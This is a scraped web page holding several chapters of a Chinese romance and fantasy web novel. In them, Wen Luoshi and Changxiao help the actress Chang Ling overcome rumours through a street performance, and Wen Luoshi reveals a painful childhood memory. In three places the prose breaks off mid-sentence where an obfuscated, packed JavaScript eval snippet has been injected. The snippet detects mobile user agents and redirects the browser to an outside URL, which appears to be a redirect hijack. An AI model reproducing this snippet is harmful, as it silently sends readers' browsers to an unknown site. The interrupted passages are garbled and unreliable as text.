“糟了,应该有不少人听见他的名字了。”文落诗脱口而出,把常绫的话截住。 常绫心想,是,大家是听到了,但是大家关注的重点,恐怕都是你后面那句“让你在床上躺十天半个月的下不来”。 ——虽然我知道你不是那个意思,但是戏班中的人,八卦能力实在不容小觑,保不齐大家怎么想。 长晓转过身:“算了,知道了就知道了,顶多是觉得新奇而已。还得多谢落诗出手,帮我隐瞒了实力,避免大家过多猜想。” 文落诗摆摆手:“跟我这么客气干什么。” 长晓闻言一笑:“也是,早知道就不该这么客气,多抱你一会好了。” 文落诗懵了很久,在她反应过来自己听到了什么时,长晓已经离去,关上屋门了。 直到常绫一副看好戏的样子,把傻了一样的她拽回自己房间里,她才开始发现,自己身上好热。 她巴不得立刻让自己的脑子清醒过来,于是,她想到一个绝佳的话题。 “常绫,我想到一件事。如今你们班中没了总管事,没了朱紫,谁来牵头啊?总不能让这个主管的位置空着吧?” 常绫被问得一愣。准确地说,让她发愣的不是文落诗的问题本身,而是文落诗这个思维转变的速度。 “不知道呀,反正我不当总管。”见文落诗疑惑,她又补充道,“太累了,我可不想当领导者,每天为一群人操心,焦头烂额。” 文落诗深以为然:“知道我为啥不想牵扯朝堂吗?同样的道理。说实话,且不论余易他贪不贪、腐败不腐败,就冲他每天处理的是全魔界的户籍和财政这一点,我就实打实佩服他。反正,至少换我,我做不来。” 常绫看了文落诗好一会,才道:“其实,我真觉得,你不是做不来。你脑子有多厉害,能力有多强,恐怕认识你的人都能感觉到。你是不想做,也认为自己没必要做。” 文落诗卸下了头上的簪子,顺了顺头发,看着铜镜里的自己,缓缓道:“是吗?在你眼里,我这么厉害呢?” 常绫率先钻进被子里,“扑通”一下躺倒:“至少,我觉得你要是做余易的位置,肯定比他好太多了。” 文落诗笑出声来:“你这个要求好像并不高啊。” 比余易做得好,说实话,确实不难。毕竟他干得实在太烂了,整个魔界多少人想把他拉下来。可偏偏他稳如泰山,铁打不动。 “我妄议一句时事,”常绫往前凑了凑,“这个要求其实挺高的,你还真做不了。因为你没有风大祭司在背后撑腰。” 文落诗眸色一顿:“余易,是大祭司的人?” 常绫道:“我猜的,但其实大家都这么猜。毕竟总有一些政见,或者法条,能波及到我们这些民众。有些大祭司提出的,很明显在袒护余大司徒。” 文落诗此刻也打理好自己,爬到床上,盖好被子。 她觉得,有时候自己的直觉,恐怕相当准。 45. 寒声不解戏中人 翌日一早,文落诗完美保持了自己赖床不起的习惯。 长晓到来时,她又是睡意正浓时。 常绫对文落诗这一点实在无可奈何,长晓却摆摆手,示意常绫不必管她,让文落诗继续睡。 不过,常绫今天早上心情可太好了,好像被压抑了这么多年的那颗沉到底的心,终于被重新捞了起来。她兴致勃勃地做了很多早饭,而这些饭菜的香味,也成功熏醒了文落诗。 文落诗睁开眼那一刻,常绫已经跟长晓边聊边吃上了。交谈甚欢,筷子上夹的食物也看起来十分诱人。 “你们吃饭怎么不叫我……”文落诗刚睡醒,嘴巴里干巴巴的,语气也可怜巴巴。 “谁让你这么能睡。”常绫的回答是这样的。 “不着急,现在起来,一样可以吃。”长晓的回答是这样的。 态度差距好大哦。 文落诗一溜烟爬下床,无所顾忌地穿好衣服,绾好头发,还因为心情甚好,在发髻上戴了好几个珠钗。她坐到桌前,夹起一块常绫做的鸡蛋煎饼。 “你做的?”她问常绫。 “嗯,你尝尝,我厨艺不差的。” “啊,好吃。”文落诗尝了一口,忍不住感叹道,“回头我也展示一下我的手艺。” 长晓闻言,略显惊讶:“你会做饭?” “当然,”文落诗自信满满,“我这么多年可都是一个人在打拼,做饭是必须要会的。而且我做的饭也可好吃了,回头给你尝尝。” 长晓觉得新奇极了,心满意足点头。 常绫却不干了:“你可真是太偏心了,只说给他尝,不说给我。” 要不是她这么一提,文落诗是真的没意识到,自己无意中只说了给长晓尝。她只好立即补充:“给你给你,肯定给你尝。” “行了,落诗起来了,咱们说正事。”长晓喝了一口汤,“昨天朱紫死的时候,很不对劲。我从来没见过这种死法。结合昨日与她交手的情景,和她使用的那些怪异的术法,我几乎可以确定,她并非魔族。” “我也这么觉得,”文落诗毫不犹豫点头,“而且也不是鎏金海域之人。这个我有经验。” 常绫好奇:“你怎么会有这方面的经验?” 文落诗答道:“我跟舒允是多年好友。之前我在稀音城陪你一起对付尹岐的时候,不是有人问我叫什么吗,我就把舒允的名字报出去了。” 常绫接着问:“舒允是……” 文落诗又夹了一口菜,筷子悬在嘴边,道:“当今龙族的公主。上古时期,龙族从天界脱离,来到鎏金海域自立门户,并宣布独立于天魔两界之外,保持中立,不参与任何纷争。从那时起,整个鎏金海的鱼啊、虾啊、螃蟹啊、蛏子啊,全都听龙王的,对龙王俯首称臣。” 常绫相当震惊:“我知道龙那一族,但是我真没想到,你居然认识当今龙族的公主!” 文落诗叹了口气:“这个就说来话长了,回头有机会再讲。”说罢,她注意到长晓在这个话题下一直保持沉默,而且沉默得出奇。她摸不准长晓的态度,于是,朝他投去一个疑惑的眼神。 长晓沉寂已久的口终于张开,却是转移了话题:“而且,朱紫那一套,也并非仙族。如今天界之中,早已经没有神族了,只剩下仙族。这个你们应该都知道。” 文落诗应和着点头。 常绫再次震惊:“你不会也认识仙族吧?” 在长晓回答之前,文落诗脑子里冒出了一个人的身影。早在初遇长晓的时候,这个人就通过两个红苕与她有过一面之缘。后来,她去春庭酒楼后院找长晓,再次见到了这个仙人。 大概就是他了。 果不其然,长晓平静地答道:“嗯,我至交便是仙族之人。” 常绫顿时觉,自己认识的这两个都是什么人啊。她是个实实在在、土生土长的魔界中人,从来没见过外族。 文落诗却心想,她大概对上号了,虽然不知道那个仙人是什么身份。 忽然,她灵机一动,坏嘻嘻调侃道:“长晓,要是真有人问起,我倒是没什么,但你可是有通敌之嫌啊!” 长晓闻言一怔。他像是极为无奈,一副想笑又不能直接笑出来的表情,最终只道:“也算吧,不过若是这么算起来,他也认识我,也跟我交往密切。所以,我们俩扯平了。” 文落诗实在没理解这是个什么思路。不过,她觉得重点不在此处:“你放心,我相信你的。不说这个,朱紫的事,一时半会也不会有个结果,我倒是觉得可以先放一放。” 长晓同意,常绫点头。 他们两个人的对话,常绫一脸懵懵的,仿佛置身事外。 “常绫姑娘外面谣言的事情,我倒是有个想法。”长晓注意到这个问题,此时发话,回归正题,“根据我和落诗最初观察,此次的谣言定是有人故意牵头、设法扩散的,因此,大多数人其实是被动听到谣言,并加以相信。也就是说,他们并非主动创造谣言的人,他们从外获取的想法,也没有那么根深蒂固,并非不可动摇。” “我想的也是这个角度,”文落诗接上话,“大多数人的想法,可以被往坏的方向引导,也反过来,这也说明,可以被牵着向好的一面引导。眼下缺的是一个机会,让民间知道常绫的好。” “我其实没有那么好,”常绫有些惭愧,低下头,“只不过,我不绝像民间传得那么卑贱。” “不需要硬碰硬,也不需要去自证你没做过他们说的那些事。我们要做的,是做一件新的事情,传出一批新的言论,慢慢覆盖和洗涤之前的。”长晓道。 常绫忽然想到了什么,道:“其实,接下来一个月的演出,我怕是不能参加了。只要观众看到我,就会加深我戏里那个坏角色的印象,然后投射到我身上。” 文落诗道:“也好,你这段时间太累了,休息休息,不急于一时。我知道你喜欢演出,但不能以燃烧消耗自己为代价。” 她看出来,常绫还是想继续表演的。她俩这些话,都只是一说而已。 长晓轻轻皱眉思考:“要想一个方法,让大家把你和‘柏青’区分开。简而言之,就是让观众做到既能入戏,又能顺利出戏。” 房间中沉默了好一会,三个人都在思考。 “我有个主意,”文落诗忽然开口,打破了沉寂,“只不过,有两件事,需要分别征求你们的意见。” 常绫毫不犹豫:“你说。” “不能只让你一个人冲锋陷阵。一个人的名声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815902|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会影响整体。所以,你们戏班子所有主要参演的人员,都需要叫上。得麻烦你去沟通。但是,这种轻松且名利双收的好事,大多数人应该都会答应。个别一两个不愿意的也没事。” “没问题,我来解决。”回答完,常绫把目光转向长晓。 长晓浅笑着叹气,双眼轻眯看着文落诗:“我似乎猜到,你需要我做什么了。” 文落诗迎上他的眼神,眼底也有些情绪:“多谢你在场,省去了很多麻烦。” 常绫有些懵:“什么意思,需要长晓帮什么忙?” 长晓幽幽道:“她是想借用一下我的名声。” * “能行吗?真的有人会驻足吗?” 这日阳光明艳,入了春年,万物开始复苏,街上的人群也如苏醒一般,开始散发出更多生气。 与往日不同的是,街角处,一个十分显眼的地方,有十来个人聚集着,好像在筹备着什么。 常绫遮着面,扶了扶头上的钗子,满脸都写着心里没底。 “我也没试过,准确地说,这可能是开天辟地以来第一次。”文落诗在帮旁边一个女孩给琵琶调音,顺口答道。 “你怎么做到这么镇定啊?大家都慌得不行了,也就是你,还能这么从容自若。”常绫都快在地上走出一个圈来了。 “不慌,我有预感,这事结果不会差。而且,这半个月不是都排练过很多次了嘛。”文落诗调好琴,走去旁边,帮另一个戏班中音乐科的男子试音。 常绫徘徊半天,看向旁边的长晓,见他一言不发,低头认真给自己调着琴,便走上前去。 “长晓,这次多谢你,我们所有人都很感谢你。” 长晓抬眸:“常绫姑娘不必谢,该抱歉的是我。我和落诗之前跟你简要提过,这次冲你来的事情,暗地里大概是冲我来的。” 常绫好奇:“我真想知道,你到底什么身份啊?能有人把事情闹得这么大,就为了打压你?” 长晓叹气:“应当不是打压,是试探我的反应。这种暗中的交手我都习惯了,只不过这次波及到你们,实在对不住。” 常绫见他绕过了自己的前一个问题,便大概知道,这事不能回答。她不再多问,继续去用自己的慌张情绪,来安抚戏班众人的慌张情绪。 长晓把琴摆好,便起身来到文落诗身边:“之前没听你说过,你通晓器乐啊。” 文落诗凉凉抬眼:“在你面前,不值得一提而已。” 长晓莞尔:“别这样,你很好的。” 这笑意让文落诗不由得心头一痒。她转过头去,不再敢看长晓:“我开玩笑的,这事就跟你也能写文章一样,只不过你没我这么专业罢了。” 长晓没回答,只是帮她顺了顺耳畔的发丝。 街上行人匆匆,人潮汹涌,很少有人留意街角处的蓄势待发。 文落诗试好最后一个鼓,把鼓槌交还给身边的男子。 至此,所有人都安静了。 常绫看了文落诗一眼,点点头。 紧接着,她拿起手边的鼓槌,重重敲响了身边的大鼓。这声音像是春年之中迸发而出的水流,顷刻间响彻大街小巷。众人纷纷驻足,开始围观这街角处锣鼓喧天的一幕。 46. 寒声不解戏中人 很明显,路上的行人看到这场面,都惊呆了。 人群是很容易聚集的动态,特别是看到新奇的事物时,会立刻从八方赶来,生怕错过目睹热闹的机会。 文落诗就是利用了人们的这一心理。她最初想到这个主意,常绫和长晓都很震惊。在戏台上的正式演出常有,但是让戏班来到街边,用这种临时小型演出的方式宣传,自古以来,确实没有人想到过。 所有人心里都没底,但是大家也都知道,如果效果好,会是一个绝佳的机会。 他们选了一小段还未演出的情节,稍加改编,缩短时间,保证让路过的人看一眼就觉得有意思。 当然,为了防止真的运气太差,遇到爆冷,文落诗也在之前找阿妍要了几个人,充当托的作用,也嘱咐好他们捧场,让他们在人群中见机行事,顺便找机会“询问”抚琴之人是谁。 但他们谁懂没想到,效果这么好,好到那几个托完全淹没在人群中了。 一小段戏剧表演完,戏班众人鞠躬。 随着观众鼓掌声不断,那方才饰演男主角的男子,也在众人面前娓娓道来,开始讲述寻光接下来一年在寒声城中的演出安排,希望大家多多去捧场。 众人纷纷点头。文落诗在角落里,从众人的表情中,她看得出,这些人稍稍震惊了一下。 是啊,毕竟刚演完,那戏中的角色就回到了和众人一样的平常样子。而人们还沉浸在他们的角色之中。 就在这时,方才那个剧中的恶毒女配忽然开口了。 她脸上的面纱早已不见,此刻,她整个人轻松地笑着,平静而坦荡,接受了所有人厌恶的目光:“大家好哦,我叫常绫。” 她顿了顿,见文落诗朝她点点头,继续说道: “谢谢大家喜欢的我们表演,也谢谢大家投入这么多情绪,沉浸在我们的表演之中。 “我和大家一样,都被柏青这个角色气得牙痒痒,但让大家气得牙痒痒,是我的职责,我会努力演好,让大家观看更好的表演。 “请随意骂这个角色,我和大家一起骂。 “但是,也希望大家知道,我跟她不一样哦。” 常绫说完的那一刻,文落诗看到,她眼睛里隐隐有泪光。只不过她藏得很好,大概没有别人注意到。 而她话落后,场面一度安静,鸦雀无声。 所有人的脸色都很精彩,像是在经历巨大的思想斗争,像是有什么东西在狠狠动摇着。 一个姑娘,因为自己的热爱,坚持在做着被全世界看不起的事情。而这份热爱本身竟会酿成了祸,让她一直有着屈于人下的身姿,连风都可以随意欺辱她。人们可以随意贬低她,不付出任何代价。 可她在努力笑着,试着去重新获取来自这个世界的认可。 她把自己最痛苦的一面剖开展示在众人面前,用来换一个重生的机会。 她明明什么错也没有。 她只是一个善良、纯真、美好、有自己追求的普通人。 其实文落诗知道,她出的这个主意,麻烦不在于长晓,也不在于戏班中众人,在于常绫自己能不能承受得住,能不能拉下这个脸面,在所有陌生人面前赌一把。 面对着寂静的人群,这一刻,文落诗有些隐隐后悔。 她不应该把常绫一个人推出去,让她独自承受这些,顶着如群刀般袭来的目光,用粉碎自己的方式,去说出这些话。 她赌的是人心,但人心这个东西,最难当作筹码。 可她没想到的是,僵住的人群,在那一刻忽然松动了。 “常绫姐姐,原来你不是坏人啊。”说话的是一个小女孩,小矮个,声音细嫩,一看就是还没长大。 孩子还小。她还没懂这些复杂的人情世故。她刚刚看到的常绫很坏,但此刻她意识到,常绫是个好人。 这嫰生生的声音一出,无数人眼神清澈开来,纷纷迎合。 “常绫姑娘演得真好,我等甚是入戏。” “没错,很真诚的一个人。” 闻言,文落诗悬了很久的心终于放下了。如今的局面,终于走上了她幻想的那条路。 她凑到常绫旁边,轻声道:“不急于一时,今天这个结果,已经很好了。” 常绫激动点头,眼角处的泪珠再也挂不住:“谢谢你,我真的没想到,我还能有重新活过来的一天。” 她的内心,在一点点活过来。 常绫之后,戏班中的其他人也依次说了几句话,包括那几个饰演不讨喜角色的人。不少观众有很多问题,问了好半天。 他们公布了寻光接下来的演出时间,以及后续的路演安排。 这并不是唯一一次路演。他们的正式演出在每月月底,而在文落诗的安排下,他们的路演将会于之后每个月的中旬,来到寒声城中不同的地方,进行街上小型演出,以此扩大知名度和传播度,同时和观众拉进距离。他们不演出的时候,没人知道他们居所。文落诗当时有这个想法,也出于观众角度考虑,给观众一个与戏班子近距离沟通的机会。 总之,不管她怎么想的,这是成功的第一步。 “收摊啦!收摊啦!” 寻光的所有人谢幕后,常绫用袖口擦了把眼泪,开始张罗所有人收拾东西。 文落诗立刻过去帮忙。今日的结果已经比预料好了太多,她十分满足,也不用再像以前一样担心常绫的处境。只不过,她总觉得,有件什么事漏掉了。 忽然,一个声音在人群中响起: “敢问,方才在一旁抚琴的郎君,可否告知尊姓大名?” 此话一出,立即有不少人应和,并投来赞许和目光,甚至有些年轻姑娘看得眼睛都直了。 文落诗猛地一抬头。 对哦,是她说要借用长晓的名声的!方才戏班众人轮流说话时,长晓没吱声,倒是把他给忘了。 文落诗伸着脖子看了看,说话的那个五大三粗的男子,好像是她安排的托。 她一时有些尴尬,同时也心里一个劲地埋怨,我是让你抽空提出问题,但眼下这个情况,也不需要你冒出来了啊。 不料,长晓忽然开口,语气温和,如同孟春的暖风:“在下长晓,此次特来助寻光路演,多谢诸位抬举。” 他毫无遮掩,神色自若,像是完全不在乎众人知晓他的身份,哪怕街上涌起一阵惊叹,他都波澜不惊。 文落诗震惊地看向他。她真的以为,寻光的路演已经很成功了,长晓就没必要再多此一举了,所以他不会主动说出自己的身份。毕竟这个身份太轰动了。 可是他还是说了。 文落诗心头涌上一阵愧疚。这是她之前与长晓商量好的,或者说,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826488|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她明摆着想利用长晓的存在,来完成她的安排。 她本抱着最后一丝希望,希望长晓说一句“在下的身份不便明说”,好让她不那么愧疚。 好傻。自己真是敢做不敢当。之前脑子一热,没把后果考虑清楚,现在又是盼着别人失约,好不用承担这份罪过。 或许她真的是出于好心。她是想尽最大努力帮常绫,可她也确实下意识将长晓当作可以随便“使唤”的自己人,必要的时候,就把他的身份作为挡箭牌,毫不犹豫推了出去。 怪不得曾经有人说过她心眼坏。她每次都是全心全意为人好,却因为自己没有做到足够缜密,反被人以为是故意使坏。 那一瞬间,她盯着长晓,眼眶一热。她忽然就明白了,为什么小时候有人骂过她十分心机。 长晓当然不知道文落诗在想什么。众人都是第一次目睹长晓的真容,一下子把他围住,崇拜者无数。 他只道自己是来帮忙的,无需将目光都放在他身上,寻光这群人十分美好,他才乐意来帮忙。 众人听他如是说,连连为寻光戏班道好。毕竟,这个戏班,可是获得了如此大人物的认可。 一时间,寻光的名声达到了顶峰,众人四散开来时,所有人都觉得,今日超乎预料,事半功倍了。 只是,长晓抱起琴,转头的那一瞬间,看到角落里文落诗脸上挂着泪珠。 他一惊,快步走上前去,连怀里的琴都顾不上了,随意放置于一旁。 “怎么了?” 他早就顾不上旁人的眼神,从怀里拿出手帕,把文落诗脸上那个并不起眼的泪珠轻轻擦去。看着她的双眼那一刻,他的指尖甚至在颤抖。 “我一眼没看见,怎么就哭了呢?”他声音很轻,像是生怕声音稍稍重一点,眼前的姑娘就会彻底破碎。 其实文落诗没意识到自己哭了,也根本没意识到已经有泪水流下。看到长晓走来,给她擦眼泪的时候,她整个人是一片空白。 天地模糊,四肢发软,若不是视线中还有光影,她不知道自己是否还清醒着。 “对不起。”文落诗开口时,发现自己的双唇被泪水粘住,又被风吹干,张开时十分艰难。 长晓彻底懵了:“你道什么歉啊?” 文落诗摇摇头。太丢人了。居然当着这么多人的面哭了,还要受害者反过来安慰自己这个施害者。 双眼被水雾扰得模糊,她依稀看到,长晓那张极为俊美的脸,已经只剩下慌乱不堪。 她沙哑开口:“我知道你不愿意在众人暴露自己的身份。我只顾着常绫了,下意识利用了你。对不住,但是你信我,我不是刻意要害你,也不是故意要把你的名声散播出去。” 常绫注意到这一幕,率先带着寻光众人离去,给他们留了足够的时间和空间。 许久,文落诗转过身去。 她不再看长晓。 好像不只是在向长晓道歉,而是在对过去那些年里那个不够成熟的自己忏悔。 可是下一瞬,她忽然感受到自己的身体被紧紧抱住。 那两只熟悉的墨色长袖覆盖在自己身前,上面的织金绣纹在暖融融的阳光下泛着亮光。 而自己,也如同城外山洞中舟上那般,毫无缝隙地靠在他温暖的胸前。 “你先缓一缓。我先什么都不说了。” 47. 寒声不解戏中人 那时候的春风很安静,带着冬日未退去的冷意,不做任何干扰,也不刻意显摆自己的存在,只是轻轻拂过长晓的发丝,吹乱了他的发梢。 文落诗第一次觉得,自己不想动。 她怕一动,长晓就松开了手,而她也从此失去了最宝贵的东西。至于是什么,她说不上来,她脑子里全是空白,什么也没办法思考。 她感受到,长晓那双搂着自己的热乎的双手,正随着自己的抽噎一起一伏。 就这样,很久很久。 她的抽噎渐渐平静下去,微微眨了眨眼,长长的睫毛上还沾着未落的泪珠。 似乎是注意到了她细微的动作,长晓的双臂渐渐从她的身前松开。 而背后靠了许久的那个温暖的胸膛,也缓缓向后移开。 “外面冷,乍暖还寒时候,最容易受凉,要不要回去再说?” 身后有个极轻的声音传来,那股温热的气息还停留在她的发丝上,渐渐蔓延至耳畔。 文落诗极为艰难地转过身,用力眨了几下眼,举手抹掉了眼角处剩余的泪水。 “我没想到我会哭。我真的没意识到。让你受惊了。” “我也真的没事。”长晓眉头皱着。他很少有这种感觉,好像自己有很多话想说出来,很想尽最大努力去安慰一个人,却不知道怎么怎么开口。 从小到大,他彻底慌乱的次数屈指可数。他的处境不允许他慌乱,所以,他从来都是波澜不惊,毫无起伏。他很少感受到自己的心跳如今日这般剧烈,剧烈到,他恨不得就此开始,永远把面前的姑娘搂在怀里,再也不让她因为任何事而流泪。 刚刚搂住她的那段时间,长晓大概猜到,文落诗怕是以前经历过什么。 “落诗,放轻松,你没有在利用我,你没有那么不堪。” 而文落诗一直在看着他,眼底掺着说不清的复杂情绪,好像希望恳求一个原谅。 ——来自他的原谅,来自以前自己的原谅,或者二者交织。 “你要是怪我……” “我从来不怪你。” “我不是故意要把你的身份泄露出去的。” “我知道。” “真抱歉啊,让你担心这么半天。” “我没事,你不用道歉。” 然后文落诗就不说话了。 她低头很久,慢慢感受到,身边街上的人已经很是稀疏,没了戏班,长晓和她又站在街口房屋之间的暗处,她有一种不被人注意到的安全感。 同时她的思绪在渐渐恢复,头脑在逐渐清晰。 长晓不怪她。 好像其实自己在白白担心。 好像刚刚的一切,变成了她的矫情。 “我是不是太多愁善感了?明明一切好好的,被我闹成这样。” “落诗,”长晓那双眸子紧盯着她,手也下意识地搂住她柔软的后背,“我知道你以前一定发生过什么事,才会让你这次反应这么大。” 文落诗轻轻点了下头,算是认可了长晓的猜测。 而长晓继续说道: “人是很奇怪的生物,人的想法也是很奇怪的存在。我在一本古籍上读到过,人在年少时,思维还未健全,若是遇到匪夷所思的事情,或是经历不可理喻的遭遇,便会从那时起形成错误的认知,伴随你长大。 “长大后,若是遇见了某个契机,这种认知便会被激发出来,而那些负面的情绪和低沉的想法,也会瞬间在你心中蜂拥而至。这些想法会慢慢腐蚀你的内心,最终,甚至会使你无法正常生活在这个世间。 “而最可怕的是,从这个过程会不断反复。你越感到痛苦,痛苦的想法就会越多。而面对如此之多的痛苦想法,你会越来越觉得自己不值得。” 长晓说完,双唇轻轻合拢,等待着文落诗的回答。 “所以,你想和我说的是……”文落诗扬起头。 “我不想让你陷入这个反复痛苦的循环中。而且,我总觉得,你缺一个可以听你讲述痛苦的人。所以,如果可以帮到你,我愿意知道你以前的事。” 文落诗垂下眼眸:“你确定,你愿意知道?” 从小到大,极少有人愿意听她诉苦。 这个世界是输出的世界,是表达的世界,是倾诉的世界,在万千言语横飞于乱世之时,人们都在急于让别人听见自己所说,而不会去在意旁人在说什么。 她能听别人诉苦,但很少有人愿意听她诉苦。 长晓眸光转了转,忽然道:“彦月是不是听你说过这些事?” 文落诗一愣,转而道:“是。” 长晓眉梢上挑。 文落诗补充道:“他可能是唯一一个愿意听我说这些消极事情的人。后来大家都长大了,各走各的路,就没人愿意听了。” 长晓嘴角勾起:“既然他都能知道,我为什么不能知道呢?” 文落诗一想也是,哑口无言。 “可以是可以,但你能不能先松开我。” 她意识到,自己还被长晓搂着,一直一直。 长晓没多言,手臂收回于身侧。 半晌,文落诗像是做了一个很大的决定,缓缓抬起手。 “长晓,谢谢你愿意知道我过去的事情,让我不再是一个人承受这些。我知道这对你来说不公平,但我想说,你若是有什么不能跟别人说的痛苦,也可以来告诉我,如果你觉得我信得过的话。” 她的指尖轻轻点在长晓额头上,心中默默念诀,施了法后,一道淡淡的粉烟从她的眉间飘出。粉烟缓缓拉长,抵达了长晓的眉间。 顿时,一阵汹涌翻动的记忆出现在长晓的脑海中,如同平静世界中的闯入者,横行肆虐般左右撞击。他忍不住蹙起眉头。 文落诗此刻,手臂缓缓垂下,也闭上了眼。 我把当年的记忆,全部渡给了你。 看吧,当年的我,多么不堪。 大约半盏茶的时间过后,长晓的眉头越来越紧锁。那道相连于二人眉间的粉烟消失之时,他倏忽睁开眼,轻叹一口气。 那时候,他才发现文落诗一直在看着他,满面愁容,好想在看着自己受苦却无能为力,又似乎在为自己的神色变幻而颤抖着。 他认真地看着眼前人,如今,他太明白为何她会控制不住哭出来了。 故事是怎样的呢?哪怕是他主动想听,故事结束后,他都不愿意再次回味了。他相信,任何一个人,恐怕都是如此。 那个尚年轻的小姑娘坚持着一个叫作原则的东西。那时候,她的第一个原则是,要比别人更努力,不改完教书先生布置的文章,不能回家。而她的第二个原则是,尊重别人,不能把自己的原则强加在别人身上。 有天,一个同窗看她放学后不走,见她在改文章,就问她,先生有没有要求改完再走。 那个小姑娘平时很细心,观察到同窗的家离学堂很远,心中升起一阵同情。她见窗外天色已是很晚,剩余的夕阳都要沉没在地面之下了,就说,我是自己想改完再走而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837485|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先生没有要求,我知道你家远,没必要学我,早些回家吧。 于是那个同窗回家了,可翌日便碰上了先生的怒气。 那先生也是个怪人,习惯了学生在他面前低头哈腰,所以,他的规则随心情而定,张口就来。大概是那天他气不顺吧,质问那个同窗为什么没改完文章就回家了。 故事的后半段几乎是震撼的。面对先生的质问,那个同窗毫不犹豫地说,是那个姑娘告诉他可以回家,他才走的。于是就有了后面,先生在所有人面前,大骂那个姑娘心机,说她自己完成任务了,故意骗同窗完不成。所有学生,甚至整个镇上其他学堂的先生,都是一言不发的旁观者。 后来,连续数年,就算那姑娘解释过,道歉过,努力写过无数更好的文章来证明自己,也没能再把自己的名声洗干净。她因为一次多余的好心,赔上了自己未来数年。 再后来,大家都长大了。她带着头等的成绩,离开了家乡的小镇,去到了旁边的重霄城里,继续读书。 而镇上怎么样呢?听说那个同窗已是达官显贵,回去看过先生,被先生热烈欢迎。但她从未再回去过,也不想再见以前的这些人。 清者自清这句话,从来就是个笑话。 荒唐的是,受害者需要自证,而且大多数时候,自证甚至都没有用。 此刻,长晓面前的这个姑娘,脸色云淡风轻,身姿从容自若,好像故事里的人不是她一般。 “是不是后悔听故事了?”她如往常那般,静静抬着头。 他犹豫许久,启唇:“你可以不原谅。” 文落诗淡然一笑:“是可以,但是我更愿意选择‘算了’。” “说出来好些了吗?” “……不知道。但我很庆幸,现在遇见的是一个拎得清的人,不会埋怨我。” “我当然不会。” “谢谢你。” “谢我做什么。” “谢谢你还相信我。” “你没有错,别因为他人的错而反思自己。” “嗯,我现在都明白。” 长晓的眼眶有些酸涩。 “我感慨的是,你那么小的时候碰上就这种事,居然如今还能坚持写作。而且,你在与人交往时,同情心居然丝毫没被磨灭。” “不会。” 文落诗看向远处,人声鼎沸,车水马龙,一切烟火如常。 她脸色闪过一丝情绪,开口:“因为我知道我是什么样的人。在这个世界上,冷漠是最好的防守。但是很可惜,我做不到一直冷漠下去。” “彦月呢?没在你这段记忆里见到他。”长晓问道。 “他那几日告假离镇,从头到尾不知晓此事。后来他也去了重霄城学艺。许多年后一个暴雨夜,我们俩在破屋里躲雨,我跟他简单提过。” “落诗,”长晓眼中染上一层雾,“你的家是在……” “青溪里。第七重天。一座很小的城。” “若是你以后哪天想回家,我陪你。” 文落诗闻言,双眸抬起,眼底情绪很是复杂。 长晓微微愣住,才想起自己之前说过,待常绫的事了后,便不再与她同行。 “长晓,我一直觉得,遇见你,是对我过去的补偿。”文落诗嘴唇有些颤抖,“但是,有些事情,再给我些时间,好吗?” 长晓重新拿起手帕,沾了沾文落诗眼角的泪水:“好。” 不管经历过什么,她仍是那个最好心、最善良的姑娘。 48. 寒声不解戏中人 翌日,文落诗和长晓做了一件大事。在阿妍的帮助下,他们顺利找到了那几个领头造谣的人,干脆利索地将其抓获,并关在观雪茶楼的房间里审问。 文落诗对阿妍的能力表示震惊,她干事利索,用人有方,知识储备量大,各路信息也充足。文落诗不禁心想,长晓和阿妍是怎么认识的,他们到底要做什么。 不过这些都不是重点。此刻要做的,是把常绫谣言的事情收尾。 长晓静静坐在桌案前,看都不看那几个人,兀自饮茶,像是见惯了如此场面,身上透露出居高临下的压迫感,令人生畏。 阿妍手脚利索地把几个人绑好,推到墙角处,以供自己主子审判他们。 文落诗从屋外拎着新的茶叶包进来时,看到阿妍正撸起袖子,准备给这几个被打晕的人泼冷水。而长晓稳如泰山地坐在那里,风雨不动,自斟自饮。 “你是不是这种场面见多了?”文落诗忍不住问道。 “一般这种小事,主子都不会亲自出面的。”阿妍抢先回答,随即手中的盆向外一泼,那几个人瞬间被淋成了落汤鸡,头发打绺,水珠顺着下额滴落。 长晓抬眸,见文落诗来了,招呼她过来坐。阿妍掸掸双手,把袖子撸下来,开始帮文落诗泡新茶叶。 一番盘问后,如文落诗和长晓所料,这几人互相不认识,都说是有人私下找到他们给了他们一笔钱,让他们领头,带着民众,聊聊寻光的丑事。 但他们不约而同地选择了常绫。 而且,连这个“丑事”,都选择得一模一样。 这才是这件事中最可怕的环节。没有人指导他们,但他们被世间的风气推动着,做出了同样的恶事,不经思索,也不需要问自己为什么,一切显得顺理成章,顺水推舟一般。 在这个长期压抑的乱风中,他们的确故意的施害者,却也是无意识的受害者。他们自然而然吸收了这种不公的观念,早已习惯了拜高踩低。 